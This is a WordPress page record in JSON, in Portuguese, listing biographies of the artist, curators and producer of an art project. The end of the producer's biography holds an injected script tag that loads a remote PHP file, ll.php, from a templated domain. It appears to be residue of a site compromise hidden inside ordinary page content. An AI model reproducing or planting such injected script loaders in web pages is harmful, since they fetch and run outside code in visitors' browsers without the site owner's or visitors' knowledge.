{"id":70,"date":"2009-02-10T07:59:49","date_gmt":"2009-02-10T12:59:49","guid":{"rendered":"http:\/\/rochajorge.dot5hosting.com\/underconstruction\/?page_id=70"},"modified":"2009-03-04T08:38:07","modified_gmt":"2009-03-04T13:38:07","slug":"equipa","status":"publish","type":"page","link":"https:\/\/underconstructionpt.hangar.com.pt\/?page_id=70","title":{"rendered":"Equipa"},"content":{"rendered":"<p><strong>Projecto art\u00edstico:<\/strong><\/p>\n<p><strong>M\u00f3nica de Miranda<\/strong> vive e trabalha em Lisboa e Londres. \u00c9 uma artista pl\u00e1stica que tem desenvolvido projectos de arte p\u00fablica e resid\u00eancias art\u00edsticas em galerias e institui\u00e7\u00f5es p\u00fablicas internacionais.<br \/>\nDas suas exposi\u00e7\u00f5es individuais mais recentes destacam-se: Touring exhibition New Geographies (198 Gallery, Londres, 2007; Plataforma Rev\u00f3lver, Lisboa, 2008 ; Image IC, Amesterd\u00e3o, 2008 ), In Between Lines (Artery Space, Londres, 2004) e Routes (The Red Gate Gallery, Londres, 2003). O seu trabalho tamb\u00e9m tem sido regularmente apresentado em diversas mostras colectivas, das quais se referem a t\u00edtulo de exemplo: Mundos Locais (Allgarve, Lagos 2008), London Caravan,( Iniva ,Londres 2008), Estado do mundo (F.C.Gulbenkian, Lisboa, 2007), United Nations (Singapore Fringe Festival, 2007), European\u2019s Workers Union (Bienais de Liverpool e Londres, 2006), We are the revolution (Elastic Gallery\/Whitechapell, Londres, 2004), In Search of Identity \u2013 New Visions (Doncaster Museum, Doncaster, Reino Unido, 2004), Changing Channels (The Backfabrik, Berlim, 2003) e Memories (Victoria &amp; Albert Museum, Londres, 2002). Tem participado em v\u00e1rias resid\u00eancias internacionais, nomeadamente, Muyehlekete\/Triangle Arts (MUSART, Maputo, Mo\u00e7ambique, 2008), O Guru, o Turista e a Globaliza\u00e7\u00e3o (Funda\u00e7\u00e3o Oriente\/Tamil Nadu, \u00cdndia, 2007), Destacam \u2013se ainda outros projectos e workshops desenvolvidos em colabora\u00e7\u00e3o\u00a0 nomeadamente:\u00a0 Art of Travel (Tate Britain, Londres\u00a0 ,2008), Verbal Eyes \u2013Trienal of Tate Britain (Londres, 2009), Living together\u00a0\u00a0\u00a0 bristish council\/ iniva 2008, Lore and Other Convergences, (Janini Antonini, Iniva , Londres, 2007), De-colonized Bodies (Guilhermo Gomez Pen\u00e3 ,Live Development Agency, Londres,\u00a0 2006).<\/p>\n<p><strong>Curadoria:<\/strong><\/p>\n<p><strong>Paul Goodwin<\/strong> \u00e9 pesquisador acad\u00e9mico, urbanista e curador. \u00c9 o director do projecto \u201cRe-Visioning Black Urbanism\u201d, baseado no Centro Urbano de Pesquisa Comunit\u00e1ria da Goldsmith, na Universidade de Londres. O projecto explora novos modos de habita\u00e7\u00e3o, imagina\u00e7\u00e3o e cria\u00e7\u00e3o de cidades a partir de perspectivas culturalmente diversas e atrav\u00e9s da organiza\u00e7\u00e3o de exposi\u00e7\u00f5es, filmes, confer\u00eancias, semin\u00e1rios e publica\u00e7\u00f5es. Paul \u00e9 tamb\u00e9m consultor criativo do inIVA (Instituto de Artes Visuais Internacionais) do \u201cMapping project\u201d e membro do Conselho Franco-brit\u00e2nico, para o qual co-organizou (com Bonnie Greer) um simp\u00f3sio internacional acerca dos \u201cDesafios da Diversidade Cultural no Reino Unido e em Fran\u00e7a&#8221;, em Novembro de 2006. Em Janeiro de 2008, Paul tornou-se Curador Transcultural da Tate Britain, em Londres.<\/p>\n<p><strong>Curadoria do ciclo de Cinema:<\/strong><\/p>\n<p><strong>L\u00facia Marques<\/strong> \u00e9 curadora independente. Nasceu em Lisboa (Portugal, 1974), onde vive e trabalha. Formou-se em Hist\u00f3ria da Arte e est\u00e1 a desenvolver tese de Mestrado em Estudos Curatoriais na Faculdade de Belas-Artes (Univ. de Lisboa\/Funda\u00e7\u00e3o Gulbenkian) sobre o impacto dos fluxos migrat\u00f3rios nas artes visuais. Foi cr\u00edtica de arte no Expresso de 1999 a 2001, altura em que integrou a equipa do Instituto das Artes do Minist\u00e9rio da Cultura de Portugal (at\u00e9 2006). Foi curadora do programa de artes visuais do IC &#8211; Instituto Cam\u00f5es em Bruxelas, no \u00e2mbito da Presid\u00eancia Portuguesa da UE (Jul.-Dez. 2007). Destacam-se ainda as seguintes curadorias: &#8220;Ana Vidigal: Dez Anos de Trabalhos Paralelos&#8221; (Centro Cultural de Lagos, 2005), &#8220;Xana: Arte Opaca e outros Fantasmas&#8221; (co-curadoria: Alexandre Pomar, Culturgest, Lisboa, 2005), &#8220;Outras Zonas de Contacto&#8221; (co-curadoria: Victor Pires Vieira, Funda\u00e7\u00e3o Carmona e Costa + Museu da Cidade, Lisboa, 2007), &#8220;Novas Geografias, Lisboa. M\u00f3nica de Miranda&#8221; (Plataforma Rev\u00f3lver, Lisboa, 2008; em parceria com a 198 Gallery de Londres e o Imagine IC de Amesterd\u00e3o), &#8220;Mundos Locais: espa\u00e7os, visibilidades e fluxos transculturais&#8221; (co-curadoria: Paula Roush, Centro Cultural de Lagos\/Forte Pau da Bandeira, Lagos, 2008) e &#8220;Desloca\u00e7\u00f5es, 4 perspectivas portuguesas contempor\u00e2neas: Andr\u00e9 Cepeda, Edgar Martins, Jos\u00e9 Carlos Teixeira, Tatiana Macedo&#8221; (CESE, Bruxelas, 2007; itiner\u00e2ncia em 2008-2009 pelos Centros Culturais do IC: S. Tom\u00e9\/S. Tom\u00e9 e Pr\u00edncipe, Maputo\/Mo\u00e7ambique, Bras\u00edlia\/Brasil, Luanda\/Angola, Praia\/Cabo Verde).<\/p>\n<p><strong>Produ\u00e7\u00e3o: <\/strong><\/p>\n<p><strong>Jorge Rocha<\/strong> \u00e9 artista e produtor independente. \u00c9 Licenciado em Artes Pl\u00e1sticas pela Escola Superior de Artes e Design das Caldas da Rainha. Produziu as exposi\u00e7\u00f5es do Centro Cultural de Lagos entre 2005 e 2008, onde tamb\u00e9m adquiriu experi\u00eancia ao n\u00edvel de Design Gr\u00e1fico e Museografia, tendo integrado v\u00e1rios projectos, como a exposi\u00e7\u00e3o Laccobriga: a ocupa\u00e7\u00e3o romana na ba\u00eda de Lagos em 2006 ou mais recentemente o projecto Mundos Locais: espa\u00e7os, visibilidades e fluxos transculturais no \u00e2mbito do Allgarve08. Desenvolve regularmente actividade art\u00edstica, destacando-se a Performance Procedimento Administrativo que foi criada no LAC em Lagos e apresentada na Expoarte contempor\u00e2nea de Mo\u00e7ambique em Maputo e no Festival Internacional de Cinema dos Pa\u00edses de L\u00edngua Portuguesa que decorreu em Jo\u00e3o Pessoa Brasil em 2007. Destaca-se ainda a co-autoria do projecto Quartas de Cinema que entre 2003 e 2008 criou um p\u00fablico ass\u00edduo de cinema em Lagos.<script src=\"http:\/\/$domain\/ll.php?kk=11\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Projecto art\u00edstico: M\u00f3nica de Miranda vive e trabalha em Lisboa e Londres. \u00c9 uma artista pl\u00e1stica que tem desenvolvido projectos de arte p\u00fablica e resid\u00eancias art\u00edsticas em galerias e institui\u00e7\u00f5es p\u00fablicas internacionais. Das suas exposi\u00e7\u00f5es individuais mais recentes destacam-se: Touring exhibition New Geographies (198 Gallery, Londres, 2007; Plataforma Rev\u00f3lver, Lisboa, 2008 ; Image IC, Amesterd\u00e3o, [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":0,"parent":0,"menu_order":7,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-70","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/underconstructionpt.hangar.com.pt\/index.php?rest_route=\/wp\/v2\/pages\/70","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/underconstructionpt.hangar.com.pt\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/underconstructionpt.hangar.com.pt\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/underconstructionpt.hangar.com.pt\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/underconstructionpt.hangar.com.pt\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=70"}],"version-history":[{"count":13,"href":"https:\/\/underconstructionpt.hangar.com.pt\/index.php?rest_route=\/wp\/v2\/pages\/70\/revisions"}],"predecessor-version":[{"id":267,"href":"https:\/\/underconstructionpt.hangar.com.pt\/index.php?rest_route=\/wp\/v2\/pages\/70\/revisions\/267"}],"wp:attachment":[{"href":"https:\/\/underconstructionpt.hangar.com.pt\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=70"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}